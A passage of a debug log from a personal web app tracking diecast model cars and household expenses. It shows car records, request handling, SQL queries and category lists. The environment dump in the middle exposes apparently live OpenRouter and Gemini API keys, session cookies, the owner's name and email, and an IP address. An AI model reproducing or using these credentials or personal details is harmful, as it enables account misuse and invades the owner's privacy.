      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:05:11.001Z server-connect:router Serving templateView /diecast
2026-02-04T11:05:11.001Z server-connect:app Executing action step identify
2026-02-04T11:05:11.001Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.001Z server-connect:output identity: 1
2026-02-04T11:05:11.001Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.001Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:05:11.002Z server-connect:output restrict: undefined
2026-02-04T11:05:11.002Z server-connect:router Render template layouts/main
2026-02-04T11:05:11.002Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '',
    manufacturer: '72',
    condition: '',
    offset: '25'
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=&manufacturer=72&condition=&offset=25',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:05:11.940Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:05:11.943Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:05:11.944Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:05:11.945Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:05:11.945Z server-connect:app Executing action step identify
2026-02-04T11:05:11.945Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.945Z server-connect:output identity: 1
2026-02-04T11:05:11.945Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.945Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.946Z server-connect:app Executing action step identify
2026-02-04T11:05:11.946Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.946Z server-connect:output identity: 1
2026-02-04T11:05:11.946Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.946Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.947Z server-connect:output restrict: undefined
2026-02-04T11:05:11.947Z server-connect:app Executing action step select
2026-02-04T11:05:11.947Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:05:11.948Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:05:11.949Z server-connect:app Executing action step identify
2026-02-04T11:05:11.949Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.949Z server-connect:output identity: 1
2026-02-04T11:05:11.949Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.949Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.949Z server-connect:app Executing action step identify
2026-02-04T11:05:11.949Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.949Z server-connect:output identity: 1
2026-02-04T11:05:11.949Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.949Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.950Z server-connect:output restrict: undefined
2026-02-04T11:05:11.950Z server-connect:app Executing action step single
2026-02-04T11:05:11.950Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:05:11.950Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:05:11.950Z server-connect:output restrict: undefined
2026-02-04T11:05:11.950Z server-connect:app Executing action step select
2026-02-04T11:05:11.950Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:05:11.951Z server-connect:output restrict: undefined
2026-02-04T11:05:11.951Z server-connect:app Executing action step select
2026-02-04T11:05:11.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:05:11.952Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:05:11.953Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
